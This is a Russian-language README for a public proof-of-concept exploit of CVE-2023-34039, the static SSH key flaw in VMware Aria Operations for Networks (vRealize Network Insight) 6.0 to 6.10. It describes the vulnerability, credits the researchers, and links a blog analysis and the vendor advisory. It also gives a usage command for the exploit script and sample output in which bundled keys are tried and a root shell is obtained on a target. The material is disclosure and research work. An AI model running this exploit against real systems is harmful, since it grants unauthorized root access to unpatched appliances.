CVE-2023-34039

PoC для CVE-2023-34039 VMWare Aria Operations for Networks (vRealize Network Insight) — RCE через статический SSH-ключ

Технический анализ

Анализ первопричины уязвимости можно найти в моём блоге:

https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/

Краткое описание

VMWare Aria Operations for Networks (vRealize Network Insight) версий с 6.0 по 6.10 не перегенерировала SSH-ключи для пользователей support и ubuntu, что позволяло злоумышленнику с доступом по SSH получить root-доступ к оболочке этого продукта.

Эта проблема была сообщена VMWare Harsh Jaiswal (@rootxharsh) и Rahul Maini (@iamnoooob) из ProjectDiscovery Research

Я просто написал эксплойт, если это можно так назвать, потому что это, по сути, обёртка над SSH-командами.

Использование

python CVE-2023-34039.py --target 192.168.1.16
(!) VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)

(*) Exploit by Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)

(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_collector

(*) Trying key: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_platform

(*) Trying key: keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_platform


********************************** ATTENTION **********************************
 NTP Service is not healthy.
 IMPACT: It may affect the proper working of other services.
 ACTION: Restore the service using 'ntp' CLI command.
********************************** ATTENTION **********************************
support@vrni-platform-release:~$ sudo -i
root@vrni-platform-release:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vrni-platform-release:~# hostname
vrni-platform-release
root@vrni-platform-release:~# 

Меры по смягчению

Обновитесь до последней версии или примите меры, следуя инструкциям в Progress Advisory

• https://www.vmware.com/security/advisories/VMSA-2023-0018.html

Подписывайтесь на нас для получения новых исследований в области безопасности:

• SinSinology
• SummoningTeam

Отказ от ответственности

Это программное обеспечение создано исключительно для академических исследований и разработки эффективных защитных методов, и не предназначено для атаки на системы без явного разрешения. Администраторы проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.